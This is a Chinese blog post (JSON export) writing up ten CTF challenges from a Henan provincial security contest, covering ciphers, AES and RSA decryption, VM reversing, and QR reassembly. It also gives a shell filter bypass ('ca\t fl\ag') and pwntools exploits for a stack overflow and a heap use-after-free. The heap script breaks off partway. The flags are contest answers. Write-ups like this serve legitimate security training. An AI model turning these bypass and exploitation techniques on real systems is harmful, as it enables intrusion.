{"id":100,"date":"2025-12-27T16:29:06","date_gmt":"2025-12-27T08:29:06","guid":{"rendered":"https:\/\/blog.ichenfu.cn\/?p=100"},"modified":"2026-03-09T16:43:17","modified_gmt":"2026-03-09T08:43:17","slug":"%e6%b2%b3%e5%8d%97%e7%9c%81%e7%ac%ac%e4%b8%83%e5%b1%8a%e9%87%91%e7%9b%be%e4%bf%a1%e5%ae%89%e6%9d%af%e7%bd%91%e7%bb%9c%e5%ae%89%e5%85%a8%e5%a4%a7%e8%b5%9b%e7%ac%ac%e4%ba%8c%e6%ac%a1%e9%a2%98","status":"publish","type":"post","link":"https:\/\/blog.ichenfu.cn\/index.php\/2025\/12\/27\/%e6%b2%b3%e5%8d%97%e7%9c%81%e7%ac%ac%e4%b8%83%e5%b1%8a%e9%87%91%e7%9b%be%e4%bf%a1%e5%ae%89%e6%9d%af%e7%bd%91%e7%bb%9c%e5%ae%89%e5%85%a8%e5%a4%a7%e8%b5%9b%e7%ac%ac%e4%ba%8c%e6%ac%a1%e9%a2%98\/","title":{"rendered":"\u6cb3\u5357\u7701\u7b2c\u4e03\u5c4a\u91d1\u76fe\u4fe1\u5b89\u676f\u7f51\u7edc\u5b89\u5168\u5927\u8d5b\u7b2c\u4e8c\u6b21\u9898\u89e3(WriteUp)"},"content":{"rendered":"\n

\u9898\u76ee\u4e00 \u7b7e\u5230<\/strong><\/h3>\n\n\n\n

\u64cd\u4f5c\u5185\u5bb9\uff1a<\/h4>\n\n\n\n

ZmxhZ3tmYjI0MzAyNS1kMjA0LTRlZGEtYjNkYy01MGZlZmExMDg5ZmR9<\/p>\n\n\n\n

Base64\u89e3\u7801\u5f97\u5230flag{fb243025-d204-4eda-b3dc-50fefa1089fd}<\/p>\n\n\n\n

flag\u503c\uff1a<\/h4>\n\n\n\n

flag{fb243025-d204-4eda-b3dc-50fefa1089fd}<\/p>\n\n\n\n

<\/p>\n\n\n\n

\u9898\u76ee\u4e8c c1assicalcrypt03asy<\/h3>\n\n\n\n

\u64cd\u4f5c\u5185\u5bb9\uff1a<\/h4>\n\n\n\n

\u7ecf\u5178\u6362\u8868\u5bc6\u7801\uff0c\u7ed9\u7684\u56fe\u7247\u5206\u522b\u662f\u590f\u591a\u3001\u8df3\u821e\u7684\u5c0f\u4eba\u3001\u5723\u5802\u6b66\u58eb\u3001https:\/\/kryptografie.de\/kryptografie\/chiffre\/futurama.htm<\/a>\uff0c\u5bf9\u51fa\u6765\u7684\u5185\u5bb9\u662fc1assicalcrypt03asy\uff0c\u76f4\u63a5\u4ea4\u5c31\u884c<\/p>\n\n\n\n

flag\u503c\uff1a<\/h4>\n\n\n\n

flag{c1assicalcrypt03asy}<\/p>\n\n\n\n

<\/p>\n\n\n\n

\u9898\u76ee\u4e09 shell<\/h3>\n\n\n\n

\u64cd\u4f5c\u5185\u5bb9\uff1a<\/h4>\n\n\n\n

\u94fe\u63a5\u9776\u673a\u53d1\u73b0\u662f\u53ef\u4ee5\u6267\u884c\u90e8\u5206\u6267\u884c\u7684\uff0c\u4f46\u662f\u65e0\u6cd5\u6b63\u5e38cat flag<\/p>\n\n\n\n

\"\"\/<\/figure>\n\n\n\n

\u53ef\u4ee5\u76f4\u63a5\u7528ca\\t fl\\ag\u505a\u5206\u9694\u7ed5\u8fc7<\/p>\n\n\n\n

\"\"\/<\/figure>\n\n\n\n

flag\u503c\uff1a<\/h4>\n\n\n\n

flag{25d6fc62-b293-4c59-8f20-9f16fa9e375d}<\/p>\n\n\n\n

<\/p>\n\n\n\n

\u9898\u76ee\u56db van-you-see<\/h3>\n\n\n\n

\u64cd\u4f5c\u5185\u5bb9\uff1a<\/h4>\n\n\n\n

2048\u627e\u5230\u4e00\u4e2a\u88ab\u6df7\u6dc6sojson.v4 \u4e24\u5c42\u6df7\u6dc6\u7684js\u6587\u4ef6\uff0c\u89e3\u5bc6\u4e4b\u540e\u5f97\u5230\u7684\u4e3b\u8981\u903b\u8f91\u662f\u914d\u5408html\u7684showflag\u7684window.location.href + '\/u0cNTzvI5' + 'QprXH.php' \u8bf7\u6c42u0cNTzvI5QprXH.php\u83b7\u53d6\u5bc6\u6587\u4e4b\u540e\u6839\u636e\u5bf9\u5e94\u7684AES\u7684key iv\u8fdb\u884c\u89e3\u5bc6\uff0c\u7136\u540e\u5c31\u53ef\u4ee5\u62ff\u5230flag<\/p>\n\n\n\n

\"\"\/<\/figure>\n\n\n\n
\"\"\/<\/figure>\n\n\n\n

\u5982\u8be5\u9898\u4f7f\u7528\u81ea\u5df1\u7f16\u5199\u7684\u811a\u672c\u8bf7\u8be6\u7ec6\u5199\u51fa\uff0c\u4e0d\u5141\u8bb8\u622a\u56fe<\/p>\n\n\n\n

from<\/em> Crypto.Cipher import<\/em> AES
import<\/em> base64
 
encrypted_data =   \"OT95wMwexdoLvds7rIFfeth2Dk38aU5Ax5YSQ71aRHCbqkybxngkXreRlhNTaUTS\"
 
key = b'1267c0a3849d5bef'
iv  = b'af16d2be89745c30'
 
def decrypt<\/strong>(data_b64<\/em>):
    try<\/em>:
        cipher_text =   base64.b64decode(data_b64<\/em>)
    except<\/em>:
        try<\/em>:
            cipher_text =   bytes.fromhex(data_b64<\/em>)
        except<\/em>:
            print(\"\u65e0\u6cd5\u8bc6\u522b\u7684\u5bc6\u6587\u683c\u5f0f\")
            return<\/em>
 
    cipher = AES.new(key, AES.MODE_CBC, iv)
    decrypted = cipher.decrypt(cipher_text)
   
    pad_len = decrypted[-1]
    return<\/em>   decrypted[:-pad_len].decode('utf-8')
 
print(\"Flag:\", decrypt(encrypted_data))from<\/em> Crypto.Cipher import<\/em> AES
import<\/em> base64
 
encrypted_data =   \"OT95wMwexdoLvds7rIFfeth2Dk38aU5Ax5YSQ71aRHCbqkybxngkXreRlhNTaUTS\"
 
key = b'1267c0a3849d5bef'
iv  = b'af16d2be89745c30'
 
def decrypt<\/strong>(data_b64<\/em>):
    try<\/em>:
        cipher_text =   base64.b64decode(data_b64<\/em>)
    except<\/em>:
        try<\/em>:
            cipher_text =   bytes.fromhex(data_b64<\/em>)
        except<\/em>:
            print(\"\u65e0\u6cd5\u8bc6\u522b\u7684\u5bc6\u6587\u683c\u5f0f\")
            return<\/em>
 
    cipher = AES.new(key, AES.MODE_CBC, iv)
    decrypted = cipher.decrypt(cipher_text)
   
    pad_len = decrypted[-1]
    return<\/em>   decrypted[:-pad_len].decode('utf-8')
 
print(\"Flag:\", decrypt(encrypted_data))<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n

flag\u503c\uff1a<\/h4>\n\n\n\n

flag{56a282fd-3855-4692-a6e7-1146690fd4b0}<\/p>\n\n\n\n

<\/p>\n\n\n\n

\u9898\u76ee\u4e94 CathylinFour++<\/h3>\n\n\n\n

\u64cd\u4f5c\u5185\u5bb9\uff1a<\/h4>\n\n\n\n

\u4ee3\u7801\u7ed9\u51fa\u4e00\u4e2a\u7b80\u5355\u7684SPN\u7ed3\u6784\uff0c\u7531\u4e8e\u52a0\u5bc6\u7cfb\u7edf\u5904\u7406\u7684\u6570\u636e\u53ea\u670965536\u4e2d\u53ef\u80fd\uff0c\u53ef\u4ee5\u76f4\u63a5\u7206\u7834\uff0c\u7ecf\u8fc73\u8f6e\u52a0\u5bc6\uff0c\u6bcf\u8f6e\u90fd\u6709Key Sbox Pbox\uff0c\u4e0d\u8fc7\u5728\u7206\u7834\u51fa\u6765\u7684\u8bdd\u4f1a\u544a\u8bc9\u5bf9\u5e94\u7684\u660e\u6587\uff0c\u90a3\u4e48\u53ea\u9700\u8981\u8ba1\u7b97\u51fa\u6700\u540e\u4e00\u987f\u79d8\u94a5K3\u5c31\u53ef\u4ee5\u548cmask\u5f02\u6216\u4e00\u4e0b\u53d1\u8fc7\u53bb\u5c31\u80fd\u62ff\u5230flag\uff0c\u8fd9\u91cc\u7528Z3\u7ea6\u675f\u8868\u8fbe\u5f0f\u8fdb\u884c\u8ba1\u7b97\uff0c\u5148\u628a\u79d8\u94a5\u5e72\u4e86\u7136\u540e\u6309\u7167\u521a\u624d\u8bf4\u7684\u601d\u8def\u81ea\u52a8\u6c42\u89e3\u5c31\u53ef\u4ee5\u4e86\uff08\u6df1\u4e95base64\u5f53flag\uff09<\/p>\n\n\n\n

\"\"\/<\/figure>\n\n\n\n

\u5982\u8be5\u9898\u4f7f\u7528\u81ea\u5df1\u7f16\u5199\u7684\u811a\u672c\u8bf7\u8be6\u7ec6\u5199\u51fa\uff0c\u4e0d\u5141\u8bb8\u622a\u56fe<\/p>\n\n\n\n

#!\/usr\/bin\/env   python3<\/em>
from<\/em> pwn import<\/em> *
from<\/em> z3 import<\/em> *
 
context.log_level = 'info'
 
class CryptoSolver:
    def __init__(self<\/em>):
          self.S_BOX = [0xC, 0x5, 0x6, 0xB, 0x9, 0x0, 0xA, 0xD, 0x3, 0xE, 0xF, 0x8,   0x4, 0x7, 0x1, 0x2]
          self.P_MAP = [0, 5, 10, 15, 4, 9, 14, 3, 8, 13, 2, 7, 12, 1, 6, 11]
          self.ROUND_KEYS = [0x0F0F, 0x3333, 0x55AA]
          self.solver = Solver()
          self.k_vars = [BitVec(f'k_{i}', 16) for<\/em> i in<\/em> range(4)]
 
    def _sbox_sub(self<\/em>,   block_16bit<\/em>):
          res_nibbles = []
        for<\/em>   i in<\/em> range(4):
              # \u63d0\u53d64\u4f4d (nibble)<\/em>
              nibble = Extract(15 - i*4, 12 - i*4, block_16bit)
              # \u6784\u5efa\u66ff\u6362\u903b\u8f91<\/em>
              temp = BitVecVal(0, 4)
              for<\/em> val in<\/em> range(16):
                  # \u4f7f\u7528 Z3 \u7684 If \u8868\u8fbe\u5f0f\u6620\u5c04 S \u76d2<\/em>
                  temp = If(nibble == val,   BitVecVal(self.S_BOX[val], 4), temp)
              res_nibbles.append(temp)
        return<\/em>   Concat(*res_nibbles)
 
    def _permute(self<\/em>,   block_16bit<\/em>):
          bits = [Extract(15-i, 15-i, block_16bit) for<\/em> i in<\/em> range(16)]
          new_bits = [None] * 16
        for<\/em>   i in<\/em> range(16):
              target_idx = self.P_MAP[i]
              new_bits[target_idx] = bits[i]
        return<\/em>   Concat(*new_bits)
 
    def   encrypt_symbolic(self<\/em>, plain_int<\/em>):
          \"\"\"\u6784\u5efa\u52a0\u5bc6\u6d41\u7a0b\u7684\u7ea6\u675f\u6a21\u578b\"\"\"
          state = BitVecVal(plain_int, 16)
       
        for<\/em>   r in<\/em> range(2):
              state = state ^ self.k_vars[r] ^ self.ROUND_KEYS[r]
              state = self._sbox_sub(state)
              state = self._permute(state)
       
          state = state ^ self.k_vars[2] ^ self.ROUND_KEYS[2]
          state = self._sbox_sub(state)
       
          final_cipher = state ^ self.k_vars[3]
        return<\/em>   final_cipher
 
    def add_pair(self<\/em>,   p<\/em>, c<\/em>):
          self.solver.add(self.encrypt_symbolic(p) == c)
 
    def solve_key(self<\/em>):
        if<\/em>   self.solver.check() == sat:
              m = self.solver.model()
              return<\/em> m[self.k_vars[3]].as_long()
        else<\/em>:
              return<\/em> None
 
def main():
    io =   remote(123.57.26.77, 36158)
 
      io.recvuntil(b\"mask = \")
    raw_mask =   io.recvline().strip()
    mask =   int(raw_mask, 16)
      log.info(f\"Mask captured: {hex(mask)}\")
 
    solver_engine   = CryptoSolver()
    test_inputs =   list(range(6))
   
      log.info(\"Collecting P\/C pairs...\")
    for<\/em> pt in<\/em>   test_inputs:
          io.recvuntil(b\"Your input: \")
          io.sendline(hex(pt).encode())
       
          res = io.recvline().decode()
        if<\/em>   \"Output\" in res:
              ct_str = res.split(\"Output: \")[1].strip()
              ct = int(ct_str, 16)
              solver_engine.add_pair(pt, ct)
        else<\/em>:
              log.warning(f\"Unexpected response: {res}\")
 
    k3_val =   solver_engine.solve_key()
   
    if<\/em>   k3_val is not None:
          log.success(f\"Key3 found: {hex(k3_val)}\")
       
          ans = k3_val ^ mask
          io.sendlineafter(b\"Your input: \", b\"k\")
          io.sendlineafter(b\"proof (hex): \", hex(ans).encode())
       
          final_res = io.recvall(timeout<\/em>=3).decode()
          print(\"\\n\" + \"=\"*30)
          print(final_res.strip())
          print(\"=\"*30 + \"\\n\")
    else<\/em>:
          log.error(\"Unsatisfiable constraints.\")
 
    io.close()
 
if<\/em> __name__ == '__main__':
    main()<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n

flag\u503c\uff1a<\/h4>\n\n\n\n

ZmxhZ3swZDI5NzEyNi1mYTY2LTQ0MjUtYjkxZC1iMTYxYWRjNDM1NzR9<\/p>\n\n\n\n

<\/p>\n\n\n\n

\u9898\u76ee\u516d lowre<\/h3>\n\n\n\n

\u64cd\u4f5c\u5185\u5bb9\uff1a<\/h4>\n\n\n\n

\u8fd9\u9898\u662f\u81ea\u5b9a\u4e49VM\uff0c\u903b\u8f91\u4e3b\u8981\u5728\u4e8e\u5904\u7406main\u51fd\u6570\u7684\u9a8c\u8bc1\u4e4b\u540e\u8c03\u5230run_vm_inner\u91cc\u9762\uff0c\u80fd\u770b\u5230\u5b57\u8282\u7801\u5904\u7406\u903b\u8f91\uff0c\u5012\u7740\u5904\u7406\u6570\u636e\u4e4b\u540e\u4e0e0x5A\u8fdb\u884c\u5f02\u6216\u5f97\u5230\u771f\u6b63\u7684\u6307\u4ee4\uff0c\u7136\u540e\u8c03\u5230run_ir\u90e8\u5206\uff0c\u5bf9\u5e94\u7684opcode\u5c31\u662f\u5f02\u6216\u6821\u9a8c\uff0c\u7531\u4e8e\u4e24\u8fb9\u76f4\u63a5\u62b5\u6d88\uff0c\u6240\u4ee5\u4e0d\u9700\u8981\u7ba1\uff0c\u53ea\u9700\u8981\u77e5\u9053\u662f\u6211\u4eec \u8f93\u5165\u7684\u5185\u5bb9^0xAA \u80fd\u5f97\u5230\u6211\u4eec\u60f3\u8981\u7684\u6570\u636e\u5c31\u53ef\u4ee5\u4e86\uff0c\u7531\u4e8e\u662f\u5728\u7a0b\u5e8f\u91cc\u9762\u751f\u6210\u7684\uff0c\u76f4\u63a5\u52a8\u8c03\u5c31\u80fd\u62ff\u5230\uff0c\u7528pwndbg\u5728run_vm_inner\u4e0b\u65ad\u70b9\uff0c\u518drdx\u62ff\u6570\u636e\u5c31\u53ef\u4ee5\u4e86<\/p>\n\n\n\n

\"\"\/<\/figure>\n\n\n\n
\"\"\/<\/figure>\n\n\n\n
\"\"\/<\/figure>\n\n\n\n

\u5982\u8be5\u9898\u4f7f\u7528\u81ea\u5df1\u7f16\u5199\u7684\u811a\u672c\u8bf7\u8be6\u7ec6\u5199\u51fa\uff0c\u4e0d\u5141\u8bb8\u622a\u56fe<\/p>\n\n\n\n

hex_data = \"0xcc 0xc6   0xcb 0xcd 0xd1 0x9d 0xcf 0x9e 0x92 0xcb 0x9c 0xc9 0xcb 0x87 0xce 0xcc 0xcb   0x98 0x87 0x9b 0x9b 0xcc 0x9a 0x87 0x93 0xc9 0x98 0x98 0x87 0x99 0x9a 0x9a   0x9f 0x9a 0x9f 0x9d 0x9f 0x9c 0x9b 0x98 0xce 0x87 0x92 0xcf 0x9c 0xcb 0x9e 0x9a   0x92 0xc8 0x87 0xce 0xcc 0xcb 0x98 0x87 0x9b 0x9b 0xcc 0x9a 0x87 0x92 0xc9   0x9b 0x99 0x87 0x99 0x9a 0x9a 0x9f 0x9a 0x9f 0x9d 0x9f 0x9c 0x9b 0x98 0xce   0xd7 0x00\"
 
data_list = [int(x, 16) for<\/em>   x in<\/em> hex_data.split()]
 
key = 0xAA
result_values = [x ^ key for<\/em>   x in<\/em> data_list]
result_chars =   ''.join([chr(x) for<\/em> x in<\/em> result_values])
 
print(result_chars)<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n

flag\u503c\uff1a<\/h4>\n\n\n\n

flag{7e48a6ca-dfa2-11f0-9c22-30050575612d-8e6a408b-dfa2-11f0-8c13-30050575612d}<\/p>\n\n\n\n

<\/p>\n\n\n\n

\u9898\u76ee\u4e03 RSA<\/h3>\n\n\n\n

\u64cd\u4f5c\u5185\u5bb9\uff1a<\/h4>\n\n\n\n

Dp\u6cc4\u9732\u6a21\u677f\u9898<\/p>\n\n\n\n

\"\"\/<\/figure>\n\n\n\n

\u5982\u8be5\u9898\u4f7f\u7528\u81ea\u5df1\u7f16\u5199\u7684\u811a\u672c\u8bf7\u8be6\u7ec6\u5199\u51fa\uff0c\u4e0d\u5141\u8bb8\u622a\u56fe<\/p>\n\n\n\n

from<\/em> Crypto.Util.number import<\/em>   long_to_bytes
 
n =   93977446509601491411273109183700477792476081212252100588514513996369916050240513858257713585313335366590846240370949831289684059273587772970292476296340120801189466605373324380976699533407970974215875662294283755613133719192114163547130089995306718768119144501566575807133141973499886356493323821201111393199
e = 65537
dp =   4646721143214293575763413674967142339122604220191663048739174575126624610789286103728040064106260338484738571999187838033377907298506299277252376843468857
c =   39842044108169653665655273759299059319749157454557086299529162182474598233474908300467494642550719706800866015430966154461050042032159169236220832726422011654867871818265524075008160875598938671421298968459869843510325230871429349578969045129760472874539862070944657591218420952191065002303403538259250208430
 
for<\/em> k in<\/em> range(1, e):
    if<\/em> (e *   dp - 1) % k == 0:
          p = (e * dp - 1) \/\/ k + 1
        if<\/em>   n % p == 0:
              print(f\"Found p: {p}\")
              q = n \/\/ p
             
              phi = (p - 1) * (q - 1)
              d = pow(e, -1, phi)
              m = pow(c, d, n)
              print(long_to_bytes(m).decode())
              break<\/em><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n

flag\u503c\uff1a<\/h4>\n\n\n\n

flag{L34k_0f_Dp_Br34ks_RS4_E4sy}<\/p>\n\n\n\n

\u9898\u76ee\u516b signin<\/h3>\n\n\n\n

\u64cd\u4f5c\u5185\u5bb9\uff1a<\/h4>\n\n\n\n

\u5f88\u7b80\u5355\u7684pwn\u7b7e\u5230\u9898\uff0c\u6808\u6ea2\u51fa\u7ed9\u4e8664\u4e2a\u5b57\u7b26\uff0c\u7a0b\u5e8f\u7684win\u51fd\u6570\u80fd\u76f4\u63a5\u8bfb\u53d6flag.txt\u7136\u540e\u6253\u5370\u51fa\u6765\uff0c\u53ea\u9700\u8981\u7528\u6808\u6ea2\u51fa\u8986\u76d6vuln\u7684\u8fd4\u56de\u5730\u5740\u4fee\u6539\u6210win\u51fd\u6570\u7684\u51fd\u6570\u5730\u5740\u7136\u540e\u52ab\u6301ret\u5230\u90a3\u91cc\u5c31\u53ef\u4ee5\u4e86<\/p>\n\n\n\n

\u5982\u8be5\u9898\u4f7f\u7528\u81ea\u5df1\u7f16\u5199\u7684\u811a\u672c\u8bf7\u8be6\u7ec6\u5199\u51fa\uff0c\u4e0d\u5141\u8bb8\u622a\u56fe<\/p>\n\n\n\n

from<\/em> pwn import<\/em> *exe = '.\/signin'elf = context.binary = ELF(exe)context.log_level = 'debug'sf = remote('101.200.152.81', 31059)win_addr = elf.symbols['win']log.info(f\"Win function address: {hex(win_addr)}\")rop = ROP(elf)ret_gadget = rop.find_gadget(['ret'])[0]log.info(f\"Ret gadget address: {hex(ret_gadget)}\")offset = 72payload = b'A' * offset + p64(ret_gadget) + p64(win_addr)sf.recvuntil(b'Say something to sign in:')sf.sendline(payload)sf.interactive()<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n

flag\u503c\uff1a<\/h4>\n\n\n\n

flag{64be95c6-70e8-47a7-a75c-8fd3f4a30618}<\/p>\n\n\n\n

<\/p>\n\n\n\n

\u9898\u76ee\u4e5d data<\/h3>\n\n\n\n

\u64cd\u4f5c\u5185\u5bb9\uff1a<\/h4>\n\n\n\n

\u62ff\u5230\u7684qemu\u5728Linux\u4e2d\u6302\u8f7d\u5f97\u5230\u4e00\u5806word\u6587\u6863\u548cppt\uff0c\u6700\u540e\u53d1\u73b0\u9879\u76ee\u542f\u52a8-\u9879\u76ee\u8ba1\u5212.ppt\u7684\u8fd9\u4e2aPPT\u6253\u4e0d\u5f00\uff0c\u7528bandizip\u89e3\u538b\u51fa\u6765\u5f97\u5230all.zip\uff0c\u7136\u540e\u7ee7\u7eed\u89e3\u538b\u62ff\u5230\u4e00\u5806\u4e8c\u7ef4\u7801\uff0c\u5199\u811a\u672c\u62fc\u51fa\u6765\uff0c\u5f97\u5230\u4e00\u4e2a\u80fd\u626b\u51fa\u6765\u6bd4\u8f83\u6b63\u786e\u7684\u4e8c\u7ef4\u7801<\/p>\n\n\n\n

\"\"\/<\/figure>\n\n\n\n
\"\"\/<\/figure>\n\n\n\n
\"\"\/<\/figure>\n\n\n\n

\u8fd9\u4e2a\u4e8c\u7ef4\u7801\u626b\u51fa\u6765\u662fK5LGIS2TGBIXSVKEJJKVCVJRJBKGW4CZKNDFUSKUIVTTAUSWIJFFC2SWKZLFKWTBK5LGIWSVGFUFKVTKJF4VO3DIIZLFMULZKIYGG6KRKVCXSVLKLJDFKVSGIRLDCVSKKZDHAUCTKZSEUV2GJZMU4222IJLEMZCTKMYFUS2XKVDFOVCVOBFFE2S2JBKWYVSTKBKDAOKQKQYDS===<\/p>\n\n\n\n

\u7ecf\u8fc7base32->base64\u5f97\u5230YWJKD2P2TAMGNJXHVHLH4EPIB5UUFZYWYSXTV22ZXEUT2GG2AA2R6EQQCWUITZOIWIXSX6FATWRKFJYAVMJIF6GRUR======<\/p>\n\n\n\n

\u518d\u7528rot13->base32->base64\u5f97\u5230flag{4a154507-ba7d-3f79-8739-91533b2bafc7}<\/p>\n\n\n\n

\"\"\/<\/figure>\n\n\n\n

\u5982\u8be5\u9898\u4f7f\u7528\u81ea\u5df1\u7f16\u5199\u7684\u811a\u672c\u8bf7\u8be6\u7ec6\u5199\u51fa\uff0c\u4e0d\u5141\u8bb8\u622a\u56fe<\/p>\n\n\n\n

import<\/em> os
from<\/em> PIL import<\/em> Image
import<\/em> numpy as<\/em> np
 
def get_edges<\/strong>(img<\/em>):
    arr =   np.array(img<\/em>)
    arr = (arr   > 128).astype(int)
    top = arr[0,   :]
    bottom =   arr[-1, :]
    left = arr[:,   0]
    right = arr[:,   -1]
    return<\/em>   top, bottom, left, right
 
def is_white<\/strong>(edge<\/em>):
    return<\/em>   np.all(edge<\/em> == 1)
 
def edges_match<\/strong>(e1<\/em>,   e2<\/em>):
    return<\/em>   np.array_equal(e1<\/em>, e2<\/em>)
 
def solve<\/strong>():
    files = [f for<\/em>   f in<\/em> os.listdir('.') if<\/em> f.endswith('.png')]
    images = {}
    img_data = {}
   
    # Pools<\/em>
    pools = {
          'TL': [], 'TR': [], 'BL': [], 'BR': [],
          'T': [], 'B': [], 'L': [], 'R': [],
          'I': []
    }
   
      print(\"Loading images...\")
    for<\/em> f in<\/em>   files:
          img = Image.open(f).convert('L')
          t, b, l, r = get_edges(img)
          img_data[f] = {'t': t, 'b': b, 'l': l, 'r': r}
       
          wt, wb, wl, wr = is_white(t), is_white(b), is_white(l), is_white(r)
       
        if<\/em>   wt and wl: pools['TL'].append(f)
        elif<\/em>   wt and wr: pools['TR'].append(f)
        elif<\/em>   wb and wl: pools['BL'].append(f)
        elif<\/em>   wb and wr: pools['BR'].append(f)
        elif<\/em>   wt: pools['T'].append(f)
        elif<\/em>   wb: pools['B'].append(f)
        elif<\/em>   wl: pools['L'].append(f)
        elif<\/em>   wr: pools['R'].append(f)
        elif<\/em>   not (wt or wb or wl or wr): pools['I'].append(f)
        else<\/em>:
              print(f\"Unclassified: {f}\")
 
    for<\/em> k,   v in<\/em> pools.items():
          print(f\"{k}: {len(v)}\")
   
      print(\"Computing matches...\")
    right_matches   = {f: [] for<\/em> f in<\/em> files}
    bottom_matches   = {f: [] for<\/em> f in<\/em> files}
   
    for<\/em> f1 in<\/em>   files:
        for<\/em>   f2 in<\/em> files:
              if<\/em> f1 == f2: continue<\/em>
             
              if<\/em> edges_match(img_data[f1]['r'], img_data[f2]['l']):
                  right_matches[f1].append(f2)
             
              if<\/em> edges_match(img_data[f1]['b'], img_data[f2]['t']):
                  bottom_matches[f1].append(f2)
    target_types =   [
          'TL', 'T', 'T', 'TR',
          'L',  'I', 'I', 'R',
          'L',  'I', 'I', 'R',
          'BL', 'B', 'B', 'BR'
    ]
   
    solutions = []
   
    used = set()
   
    def solve_4x4<\/strong>(idx<\/em>,   current_grid<\/em>, used_in_this_solution<\/em>):
        ifidx<\/em> == 16:
              return<\/em> list(current_grid<\/em>)
       
          row = idx<\/em> \/\/ 4
          col = idx<\/em> % 4
       
          required_type = target_types[idx<\/em>]
          candidates = [c for<\/em> c in<\/em> pools[required_type] if<\/em> c not   in used and c not in used_in_this_solution<\/em>]
       
          valid_candidates = []
        for<\/em>   cand in<\/em> candidates:
              if<\/em> col > 0:
                  left_neighbor = current_grid<\/em>[idx<\/em>-1]
                  if<\/em> cand not in   right_matches[left_neighbor]:
                      continue<\/em>
             
              if<\/em> row > 0:
                  top_neighbor = current_grid<\/em>[idx<\/em>-4]
                  if<\/em> cand not in   bottom_matches[top_neighbor]:
                      continue<\/em>
             
              valid_candidates.append(cand)
             
        for<\/em>   cand in<\/em> valid_candidates:
              res = solve_4x4(idx<\/em> + 1, current_grid<\/em> + [cand], used_in_this_solution<\/em>   | {cand})
              if<\/em> res:
                  return<\/em> res
       
        return<\/em>   None
 
      print(\"Solving quadrants...\")
    quadrants = []
    for<\/em> i in<\/em>   range(4):
          sol = solve_4x4(0, [], set())
        if<\/em>   sol:
              print(f\"Found quadrant {i+1}\")
              quadrants.append(sol)
              for<\/em> f in<\/em> sol:
                  used.add(f)
        else<\/em>:
              print(f\"Failed to find quadrant {i+1}\")
              break<\/em>
             
    if<\/em>   len(quadrants) == 4:
          print(\"Found all 4 quadrants!\")
          save_result(quadrants)
    else<\/em>:
          print(\"Could not solve all.\")
 
def save_result<\/strong>(quadrants<\/em>):
    ordered_quads   = [None] * 4
    def has_finder<\/strong>(filename<\/em>):
          img = Image.open(filename<\/em>).convert('L')
        return<\/em>   img.getpixel((50,50)) == 0
    tile_size =   100
   
    full_img =   Image.new('RGB', (800, 800))
    for<\/em> i,   quad in<\/em> enumerate(quadrants<\/em>):
          q_img = Image.new('RGB', (400, 400))
        for<\/em>   idx, f in<\/em> enumerate(quad):
              row = idx \/\/ 4
              col = idx % 4
              tile = Image.open(f)
              q_img.paste(tile, (col * tile_size, row * tile_size))
          q_img.save(f'quadrant_{i}.png')
       
      print(\"Saved quadrant_0.png to quadrant_3.png\")
 
if<\/em> __name__ ==   \"__main__\":
    solve()<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n

flag\u503c\uff1a<\/h4>\n\n\n\n

flag{4a154507-ba7d-3f79-8739-91533b2bafc7}<\/p>\n\n\n\n

<\/p>\n\n\n\n

\u9898\u76ee\u5341 \u4e0d\u6253CTF\u6216\u8bb8\u5979\u8fd8\u5728<\/h3>\n\n\n\n

\u64cd\u4f5c\u5185\u5bb9\uff1a<\/h4>\n\n\n\n

\u4e0d\u6253CTF\u6216\u8bb8\u6211\u5c31\u4e0d\u4f1a\u5931\u53bb\u5979\uff0c\u53ea\u602a\u5f53\u5e74\u6c89\u8ff7CTF\u4e0d\u53bb\u966a\u5979\uff0c\u540e\u6765\u8d8a\u6765\u8d8a\u758f\u8fdc\ud83d\ude2d\uff0c\u7ed9\u4e86\u4e2aLIBC\u7684\u5806\u9898\uff0c\u4e0d\u80fd\u7528tcache\uff0c\u90a3\u5c31\u76f4\u63a5UAF\u7ed9largebin\u548cIO-FILE\uff0c\u5728\u83dc\u5355\u91cc\u9762\u7533\u8bf7\u591a\u4e2alarge chunk\u7136\u540e\u91ca\u653e\u5176\u4e2d\u4e00\u4e2a\uff0c\u8fd9\u4e2a\u65f6\u5019\u6307\u9488\u4f1a\u6307\u5411main\u9644\u8fd1<\/p>\n\n\n\n

\"\"\/<\/figure>\n\n\n\n

\u914d\u5408\u7ed9\u7684libc\u53ef\u4ee5\u76f4\u63a5\u6cc4\u9732\u51fa\u6765libc\u57fa\u5740\uff0c\u7136\u540e\u5728\u7528UAF\u7ee7\u7eed\u5199\u5165\u56fa\u5b9a\u6807\u8bb0\u7ed9show\u53cd\u63a8heap\u8d77\u70b9\u62ff\u5230\u5047IO_FILE\uff0c\u91ca\u653e\u4e00\u4e2alarge chunk\u8fdb\u5165largebin\u4fee\u6539bk_nextsieze\u4e4b\u540e\u628a\u4e0b\u4e00\u6b21malloc\u7684\u5730\u5740\u5199\u5230\u6211\u4eec\u9700\u8981\u7684fake IO_FILE\u5730\u5740\u5c31\u53ef\u4ee5\u4e86\uff0c\u53ea\u8981\u6ee1\u8db3\u68c0\u67e5\u5c31\u80fd\u76f4\u63a5\u8df3\u8f6c\u5230system\uff0c\u6700\u540e\u641clibc\u7684\/bin\/sh\u5c31\u53ef\u4ee5\u4e86<\/p>\n\n\n\n

\"\"\/<\/figure>\n\n\n\n

\u5982\u8be5\u9898\u4f7f\u7528\u81ea\u5df1\u7f16\u5199\u7684\u811a\u672c\u8bf7\u8be6\u7ec6\u5199\u51fa\uff0c\u4e0d\u5141\u8bb8\u622a\u56fe<\/p>\n\n\n\n

from pwn import *
 
context.arch = 'amd64'
context.os   = 'linux'
context.log_level = 'info'
 
sf =   remote(\"101.200.152.81\", 35128)
elf  = ELF('.\/pwn')
libc = ELF('.\/libc.so.6')
 
def step(x):
    sf.sendlineafter(b'choice:\\n',   str(x).encode())
 
def arg(p):
    sf.sendline(p if isinstance(p, bytes)   else str(p).encode())
 
def feed(p):
    sf.sendafter(b'are your plans for the   date: \\n', p)
 
def grab(n=6):
    return u64(sf.recv(n).ljust(8, b'\\x00'))
 
def make(i, s):
    step(1)
    arg(i)
    arg(s)
 
def drop(i):
    step(2)
    arg(i)
 
def patch(i, c):
    step(3)
    arg(i)
    feed(c)
 
def peek(i):
    step(4)
    arg(i)
 
